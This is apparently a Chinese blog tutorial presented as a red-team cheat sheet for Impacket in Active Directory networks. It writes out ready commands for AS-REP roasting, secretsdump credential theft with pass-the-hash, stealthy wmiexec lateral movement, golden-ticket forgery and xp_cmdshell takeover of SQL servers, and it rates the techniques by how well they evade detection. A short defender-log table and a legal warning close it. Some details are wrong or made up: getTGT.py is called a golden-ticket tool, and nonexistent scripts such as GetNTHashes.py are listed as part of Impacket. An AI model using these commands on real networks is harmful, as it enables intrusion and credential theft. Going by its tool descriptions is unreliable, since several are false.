在上一部分,我们概览了 Impacket 的核心功能。这一篇,我们将把镜头拉近,深入每个脚本的“内心世界”。我们不仅讲它“能干啥”,还讲它“为啥牛”,以及“什么时候该用它”。
💡 阅读建议:这篇文章适合作为你的实战速查表。
一、信息收集篇:上帝之眼 👁️
在内网中,盲目扫描等于自杀。Impacket 的收集脚本像外科医生一样精准。
1️⃣ GetADUsers.py—— 域内的“花名册”
深度解析:
很多人以为它只是列用户名,其实它能导出 description、lastLogon、pwdLastSet。
-
实战技巧:重点关注 Description字段,经常有人写“Backup account pass: xxx”。
-
命令:
GetADUsers.py -all corp.local/user:Pass123@dc01.corp.local
2️⃣ GetNPUsers.py—— 钓出“无预认证”用户
深度解析:
这是 ASREPRoasting 攻击的实现。如果一个用户设置了 “不需要 Kerberos 预认证”,你可以直接请求其 Hash 并离线爆破。
-
实战场景:低权限域用户,尝试拉取所有无预认证账户的 Hash。
GetNPUsers.py corp.local/user:Pass123 -dc-ip 192.168.1.10 -format hashcat
3️⃣ rpcdump.py& lookupsid.py—— 老牌侦察兵
-
rpcdump.py:枚举 RPC 接口。有些老旧应用暴露了危险的 RPC 接口,可以直接用来提权。
-
lookupsid.py:经典的 SID 枚举。用于暴力枚举域内所有用户和组 SID,即使你没有有效凭证有时也能跑(取决于补丁)。
二、凭证与哈希篇:打开保险箱 🔐
这是 Impacket 最让人“闻风丧胆”的部分。
4️⃣ secretsdump.py—— 终极掠夺者
原理深度:
它通过 DCSync(模拟域控复制)或直接读取注册表/SAM 文件,导出所有凭证。
-
三种模式:
-
Dumping NTDS.dit(远程):secretsdump.py user:pass@dc_ip(需要 DA 权限)
-
Local Dumping:在机器上执行,导出本地 SAM。
-
Pass-the-Hash:直接用 Hash 去抓 Hash。
实战参数:
# 使用 Hash 而非密码(避免锁定账户)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@192.168.1.10
5️⃣ GetNTHashes.pyvs Registry.py
-
GetNTHashes.py:专门用于从离线注册表文件(SYSTEM + SAM)中提取 Hash。当你已经拿到 shell 并下载了注册表文件时使用。
-
Registry.py:远程操作注册表的工具,可以用来开启 RDP 或修改键值。
三、横向移动篇:瞬移的艺术 🏃♂️
拿到 Hash 后,怎么动起来?这里讲究的是隐蔽性。
|
psexec.py |
上传 exe 为服务 |
⭐⭐ |
快速拿权,不在意日志 |
|
smbexec.py |
通过服务执行 cmd |
⭐⭐⭐ |
绕过某些 EDR 对 exe 的检测 |
|
wmiexec.py |
WMI 标准查询 |
⭐⭐⭐⭐ |
无文件,最难检测 |
|
atexec.py |
计划任务 |
⭐⭐⭐ |
目标禁止 SMB 执行时 |
|
dcomexec.py |
DCOM 对象 |
⭐⭐⭐⭐ |
绕过 PowerShell 限制 |
6️⃣ wmiexec.py—— 红队首选
为什么是它?
它不往磁盘写文件,利用 WMI 的 Win32_Process类创建进程。流量看起来像正常的 WMI 管理流量。
wmiexec.py -hashes :<NTLM> corp.local/admin@192.168.1.20 "whoami /priv"
7️⃣ smbclient.py—— 不只是拷贝
深度玩法:
除了传文件,它还能用来查看共享权限、查找备份文件(.bak, .old)。
smbclient.py Administrator@192.168.1.10
smbclient.py Administrator@192.168.1.10 -k # 使用 Kerberos
四、Kerberos 攻击篇:票据魔术 🎫
这是 AD 域的高级玩法,Impacket 是目前实现最完美的工具集。
8️⃣ getTGT.py& getST.py
-
getTGT.py:获取黄金门票(Ticket Granting Ticket)。只要你有用户 Hash,就能申请 TGT。
-
getST.py:获取白银门票(Service Ticket)。伪造访问特定服务(如 CIFS、HTTP)的权限。
9️⃣ ticketer.py—— 伪造大师
实战场景:黄金票据
当你拿到了 krbtgt账户的 NTLM Hash(来自 secretsdump),你可以伪造任意用户的任意票据。
# 生成黄金票据
ticketer.py -nthash <krbtgt_ntlm> -domain-sid <domain_sid> -domain corp.local administrator
🔟 raiseChild.py—— 跨域信任利用
深度解析:
如果你攻陷了一个子域的域控,这个脚本可以利用域信任关系(Inter-Realm Key)去攻击父域。这是企业内网渗透的“升维打击”。
五、协议利用篇:针对特定端口 🎯
Impacket 的强大在于它对协议底层的控制。
11️⃣ mssqlclient.py—— SQL 服务器的噩梦
实战链:
使用域用户连接 MSSQL。
开启 xp_cmdshell。
拿到数据库服务器权限。
mssqlclient.py corp.local/user:pass@sqlserver.corp.local -windows-auth
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
12️⃣ ldapattack.py(原 ntlmrelayx 配套)
虽然主要是 Relay,但结合 LDAP 可以实现:
-
将计算机加入域(利用 Resource-Based Constrained Delegation)。
-
修改 ACL 赋予自己 DCSync 权限。
13️⃣ sniffer.py& packet_parser.py
-
sniffer.py:简单的数据包捕获。
-
packet_parser.py:解析 Impacket 捕获的数据包结构,适合搞协议研究的人。
六、脚本使用“骚操作”合集 🌟
这里有一些文档里不写,但实战中必用的技巧:
1. 命令行下的“管道”艺术
Impacket 支持从 stdin 读取密码,这在批量扫描时很有用:
cat users.txt | while read line; do GetADUsers.py corp.local/$line@dc01 -no-pass; done
2. 强制使用 SMBv1(老设备必备)
有些古董设备只支持 SMBv1:
psexec.py user:pass@ip -smb1
3. 使用 AES Key 代替 Hash
在 Kerberos 环境中,有时你需要 AES Key(来自 Key List):
getTGT.py -aesKey <AES_KEY> corp.local/user
七、防御者视角的“脚印” 👣
了解工具,也要了解它们留下的痕迹,这对蓝队很重要:
|
psexec.py |
创建 PSEXESVC.exe,Windows 日志 7045 |
|
smbexec.py |
创建随机命名的 bat 文件和 stderr/stdout 重定向 |
|
wmiexec.py |
WMI-Activity 日志,Event ID 5857/5861 |
|
secretsdump |
大量的 4662(目录服务访问)事件 |
八、最后的安全警示 ⚠️
“手握利刃,心怀敬畏。”
Impacket 是安全研究的巅峰之作,也是法律红线的高压线。
🔴 严禁:
-
在未获书面授权的生产环境中测试。
-
使用本文技术进行勒索、破坏或数据窃取。
-
绕过企业的安全防护进行恶意活动。
🟢 鼓励:
-
在 Hack The Box、TryHackMe、本地虚拟机 中学习。
-
帮助企业修复漏洞,成为守护者而非破坏者。
网络安全是一场攻防的博弈,知识应当用于构筑防线,而非撕开缺口。



